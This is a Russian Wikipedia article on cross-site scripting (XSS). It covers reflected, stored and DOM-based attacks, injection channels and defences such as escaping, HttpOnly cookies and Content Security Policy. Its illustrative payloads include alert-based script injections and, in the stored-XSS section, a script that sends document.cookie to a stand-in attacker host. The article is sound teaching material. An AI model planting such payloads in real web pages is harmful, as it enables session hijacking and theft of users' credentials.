Эта статья является кандидатом в добротные статьи

Межсайтовый скриптинг

Материал из Википедии — свободной энциклопедии
Перейти к: навигация, поиск

XSS (англ. Cross Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Является разновидностью атаки «внедрение кода».

Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя[1].

Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».

Из статистических данных на 2012 год XSS составляют 26 % и занимают первое место среди остальных уязвимостей[2]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора или номера платёжных документов), а там, где нет защиты от CSRF, атакующий может выполнить любые действия, доступные пользователю. На популярном сайте скрипт может устроить DoS-атакy.

Справочная информация[править | править вики-текст]

Безопасность в Интернете обеспечивается с помощью многих механизмов, в том числе на важной концепцией, известной как правило ограничения домена. Эта правило разрешает сценариям, находящимся на страницах одного сайта (https://mybank.example.com), доступ к методам и свойствам друг друга без ограничений, но предотвращает доступ к большинству методов и свойств для страниц другого сайта (https://othersite.example.com)[3].

Межсайтовый скриптинг использует известные уязвимости в web-приложениях, серверах (или в системных плагинах, относящиеся к ним). Используя одну из них, злоумышленник встраивает вредоносный контент в содержание уже взломанного сайта. В результате пользователь получает объединенный контент в веб-браузере, который был доставлен из надежного источника, и, таким образом, действует в соответствии с разрешениями, предоставленными для этой системы. Сумев внедрить необходимый скрипт в веб-страницу, злоумышленник может получить повышенные привилегии в отношении работы с веб-страницами, cookies и другой информацией, хранящейся в браузере для данного пользователя.

Выражение «межсайтинговый скриптинг» первоначально означало взаимодействие уязвимого веб-приложения с сайтом злоумышленника таким образом, чтобы в контексте атакуемого домена был выполнен javascript-код, подготовленный злоумышленником (отражённая или хранимая XSS уязвимость). Постепенно определение стало включать в себя и другие способы внедрения кода, включая использование устойчивых и не относящихся к javascript языков (например, ActiveX, Java, VBScript, Flash и даже HTML), создавая путаницу среди новичков в сфере информационной безопасности.[4]

XSS уязвимости зарегистрированы и используются с середины 1990-x годов[5]. Известные сайты, пострадавшие в прошлом, включают такие сайты социальных сетей, как Twitter[6], ВКонтакте[7], MySpace[8], YouTube[9], Facebook[10] и др.

Классификация[править | править вики-текст]

Не существует чёткой классификации межсайтвого скриптинга. Но большинство экспертов различают по крайней мере два типа XSS: «отраженные» («reflected XSS» или «Type 1») и «хранимые» («stored XSS» или «Type 2»).

По вектору[11][править | править вики-текст]

Отражённые (Непостоянные)[править | править вики-текст]

Атака, основанная на отражённой уязвимости, на сегодняшний день является самой распространенной XSS-атакой.[12] Эти уязвимости появляются, когда данные, предоставленные веб-клиентом, чаще всего в параметрах HTTP-запроса или в форме HTML, исполняются непосредственно серверными скриптами для синтаксического анализа и отображения страницы результатов для этого клиента, без надлежащей обработки[13]. Отражённая XSS-атака срабатывает, когда пользователь переходит по специально подготовленной ссылке.

Пример:

http://example.com/search.php?q=<script>DoSomething();</script>

Если сайт не экранирует угловые скобки, преобразуя их в «&lt;» и «&gt;», получим скрипт на странице результатов поиска.

Отражённые атаки, как правило, рассылаются по электронной почте или размещаются на Web-странице. URL приманки не вызывает подозрения, указывая на надёжный сайт, но содержит вектор XSS. Если доверенный сайт уязвим к вектору XSS, то переход по ссылке может привести к тому, что браузер жертвы начнет выполнять встроенный скрипт.

Хранимые (Постоянные)[править | править вики-текст]

Хранимый XSS является наиболее разрушительным типом атаки. Хранимый XSS возможен, когда злоумышленнику удается внедрить на сервер вредоносный код, выполняющийся в браузере каждый раз при обращении к оригинальной странице. Классическим примером этой уязвимости являются форумы, на которых разрешено оставлять комментарии в HTML формате без ограничений, а также другие сайты Веб 2.0 (блоги, вики, имиджборд), когда на сервере хранятся пользовательские тексты и рисунки. Скрипты вставляются в эти тексты и рисунки.

Фрагмент кода похищения ключа с идентификатором сессии (session ID):

<script>
document.location=’http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie
</script>

DOM-модели[править | править вики-текст]

XSS в DOM-модели возникает на стороне клиента во время обработки данных внутри JavaScript сценария. Данный тип XSS получил такое название, поскольку реализуется через DOM (Document Object Model) — не зависящий от платформы и языка программный интерфейс, позволяющий программам и сценариям получать доступ к содержимому HTML и XML-документов, а также изменять содержимое, структуру и оформление таких документов. При некорректной фильтрации возможно модифицировать DOM атакуемого сайта и добиться выполнения JavaScript-кода в контексте атакуемого сайта.

Пример:

<body>
<script>document.write(location.href);</script>
</body>

Пример DOM-модели XCC — баг, найденный в 2011 году в нескольких JQuery плагинах[14]. Методы предотвращения DOM-модели XCC включают меры, характерные для традиционных XCC, но с реализацией на javascript и отправкой в веб-страницы — проверка ввода и предотвращение атаки[15]. Некоторые фреймворки javascript имеют встроенные защитные механизмы от этих и других типов атак, например AngularJS[16].

По каналам внедрения скрипта[17][править | править вики-текст]

Ошибки в браузере[править | править вики-текст]

Когда из-за ошибки в браузере исправляют сайт

Bugzilla, 2004 год.[18] В некоторых браузерах (по крайней мере, Internet Explorer) при задании URL’а

http://bugzilla.mozilla.org/enter_bug.cgi?
  <script>alert('foo');</script>

не происходит URL-кодирования, и код

document.write(
   "<p>URL: " + document.location + "</p>");

внедрит в страницу скрипт.

Из-за ошибок браузер может выполнять скрипты в SVG, нарушать правило Same Domain Policy. Это серьёзные ошибки; после обнаружения их быстро закрывают, однако в переходный период опасными становятся практически все сайты Веб 2.0: форумы, вики, имиджборды. Если такая ошибка обнаружилась, рекомендуется, пока не вышло обновление, пользоваться другим браузером.

Бывают и более тонкие ошибки, которые проявляются при очень специфичных условиях и крупного урона не наносят. Такие ошибки могут не исправляться годами и выгоднее исправить сайт, чем ждать обновления браузера.

Отсутствие экранирования спецсимволов HTML[править | править вики-текст]

Экранировать нужно все пользовательские тексты

phpBB, 2002 год[19][20].Хотя URL картинок проверяется на протокол (разрешён только http:), сам URL никак не экранируется, и строкой наподобие

[img]http://a.a/a"onerror="
   javascript:alert(document.cookie)[/img]

можно протащить в документ пользовательский скрипт.

Намного чаще встречаются ошибки на сайтах. Чтобы браузер гарантированно не принял строку за тэг HTML, требуется заэкранировать пять символов: '"&<>. Сервер может экранировать не все символы (известный недостаток PHP[21]), либо веб-программист просто забывает заэкранировать строку.

Обычно в базах данных текст хранится неэкранированным, и экранировать требуется все пользовательские строки каждый раз, когда они встраиваются в HTML: например, если не заэкранирован URL картинки, пользователь может ввести что-то наподобие http://example.com/img.png" onmouseover="javascript:DoSomething();.

Многие сайты позволяют форматирование текста с помощью какого-либо языка разметки (HTML, BBCode, вики-разметка). Часто не проводится полный лексический анализ языка разметки, а лишь преобразование в «безопасный» HTML с помощью регулярных выражений[22]. Это упрощает программирование, однако требует досконального понимания, какими путями скрипт может проникнуть в результирующий HTML-код.

Отсутствие фильтрации атрибутов и их значений в разрешённых тегах[править | править вики-текст]

Типичным примером будет ссылка <a href="javascript:DoSomething()">. Даже если форум позволяет внешние ссылки, не стоит пускать протоколы javascript: и data:.

Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.

Подмена кодировки в заголовке страницы[править | править вики-текст]

Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег <title> расположен до тега <meta> и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как < и ". Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей. HTML 5 прямо запрещает поддержку браузерами кодировки UTF-7 как потенциально опасной.[23]

Прочие[править | править вики-текст]

Возможно использование XSS атаки совместно с внедрением SQL-кода, которая называется SiXSS-атака.

По способу воздействия[24][править | править вики-текст]

Требующие действий пользователя (активный)[править | править вики-текст]

Активная XSS атака не требует каких-либо лишних действий со стороны пользователя с точки зрения функционала веб-приложения.

Пример:

<a href='a' onmouseover=alert(1337) style='fontsize:500px'>

Автономные (пассивный)[править | править вики-текст]

Пассивная XSS атака срабатывает при выполнении пользователем определённого действия (клик или наведение указателя мыши и т.п.).

Пример:

<input type=text value=a onfocus=alert(1337) AUTOFOCUS>

Средства защиты[1][править | править вики-текст]

  • Кодирование управляющих HTML-символом, JavaScript, CSS и URL перед отображением в браузере. Для фильтрации входных параметров можно использовать следующие функции: filter_sanitize_encoded (для кодирования URL)[25], htmlentities (для фильтрации HTML)[26].
  • Кодирование входных данных. Например с помощью библиотек OWASP Encoding Project[27], HTML Purifier, htmLawed, Anti-XSS Class.
  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. С использованием таких инструменты, как Nessus, Nikto Web Scanner и OWASP Zed Attack Proxy.
  • Указание кодировки на каждой web-странице (например, ISO-8859-1 или UTF-8) до каких-либо пользовательских полей[28].
  • Обеспечение безопасности cookies, которая может быть реализована путем ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly[29], использованием SSL[30].
  • Использование заголовка Content Security Policy, позволяющий задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
  • Регулярно обновление браузера до новой версии[17].
  • Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска. Примеры подобных расширений: NoScript для FireFox, NotScripts для Crome и Opera.

См. также[править | править вики-текст]

Ссылки[править | править вики-текст]

Примечания[править | править вики-текст]

  1. 1 2 Jatana1, Nishtha, Agrawal, Adwiteeya, Sobti, Kritika [http://www.exploit-db.com/wp-content/themes/exploit/docs/24559.pdf Post XSS Exploitation: Advanced Attacks and Remedies] (англ.). — С. 9.
  2. График. securitylab.ru. Проверено 18 декабря 2014.
  3. Same Origin Policy (англ.). W3.org. Проверено 18 декабря 2014.
  4. Grossman, Jeremiah. The origins of Cross-Site Scripting (XSS). (англ.)
  5. Seth Fogie, Jeremiah Grossman, 2007, с. 3
  6. Mirkov, Denis. Twitter заразили вирусом. Хакер (21 сентября 2010). Проверено 18 декабря 2014.
  7. Mirkov, Denis. XSS-уязвимости ВКонтакте. Хакер (10 марта 2011). Проверено 18 декабря 2014.
  8. Mirkov, Denis. Сайт Sla.ckers.org открыл подборку XSS уязвимостей. Хакер (25 сентября 2006). Проверено 18 декабря 2014.
  9. Mirkov, Denis. Множественные уязвимости в YouTube Blog. Хакер (23 июля 2008). Проверено 18 декабря 2014.
  10. Mirkov, Denis. На Facebook обнаружена XSS-уязвимость. Хакер (26 мая 2008). Проверено 18 декабря 2014.
  11. Тюрин, Алексей В поисках лазеек: гид по DOM Based XSS (рус.) // Хакер : Журнал. — 2013. — № 172. — С. 80-85.
  12. Paco Hope, Ben Walther, 2008, с. 128
  13. Cross-site Scripting (англ.). Web Application Security Consortium (2005). Проверено 18 декабря 2014.
  14. JQuery bug #9521 (англ.) (2011). Проверено 18 декабря 2014.
  15. DOM based XSS prevention cheat sheet (англ.). OWASP. Проверено 18 декабря 2014.
  16. Strict Contextual Escaping (англ.). Angular.js. Проверено 18 декабря 2014.
  17. 1 2 Cross-site Scripting (XSS) (англ.). owasp.org. Проверено 18 декабря 2014.
  18. Bug 272620 - XSS vulnerability in internal error messages (англ.). bugzilla.mozilla.org. Проверено 18 декабря 2014.
  19. US-CERT/NIST Vulnerability Summary for CVE-2002-0902 (англ.) : сайт. — 2008.
  20. Boerwinkel, Martijn. Cross Site Scripting Vulnerability in phpBB2's IMG tag and remote avatar (англ.). seclists.org (26 мая 2002). Проверено 18 декабря 2014.
  21. Стандартная функция PHP htmlspecialchars по умолчанию не экранирует апостроф, и в сочетании с кодом "<a href='$htUrl'>" получается уязвимость.
  22. Простой парсинг BBcode на php. dayte2.com. Проверено 18 декабря 2014.
  23. The elements of HTML — HTML Standard (англ.). spec.whatwg.org. Проверено 18 декабря 2014.
  24. Kochetkov, Vladimir. Вся правда об XSS или Почему межсайтовое выполнение сценариев не является уязвимостью?. securitylab.ru (8 августа 2012). Проверено 18 декабря 2014.
  25. Очищающие фильтры. php.net. Проверено 18 декабря 2014.
  26. htmlentities. http://php.net/.&#32;Проверено 18 декабря 2014.
  27. OWASP Java Encoder Project. owasp.org. Проверено 18 декабря 2014.
  28. Сноу, Джон Маскарад символов: unicode-ориентированные аспекты безопасности // Хакер : сайт. — 2010.
  29. HttpOnly (англ.). owasp.org. Проверено 18 декабря 2014.
  30. Hafner, Robert How to create totally secure cookies (англ.) : сайт. — 2009.

Литература[править | править вики-текст]

  • Seth Fogie, Jeremiah Grossman, Robert Hansen, Anton Rager, Petko D. Petkov XSS атаки: эксплуатация и защита = XSS Attacks: Cross Site Scripting Exploits and Defense. — Syngress, 2007. — 464 p. — ISBN 1597491543.
  • Paco Hope, Ben Walther Web Security Testing Cookbook. — O'Reilly Media, 2008. — 314 p. — ISBN 978-0-596-51483-9.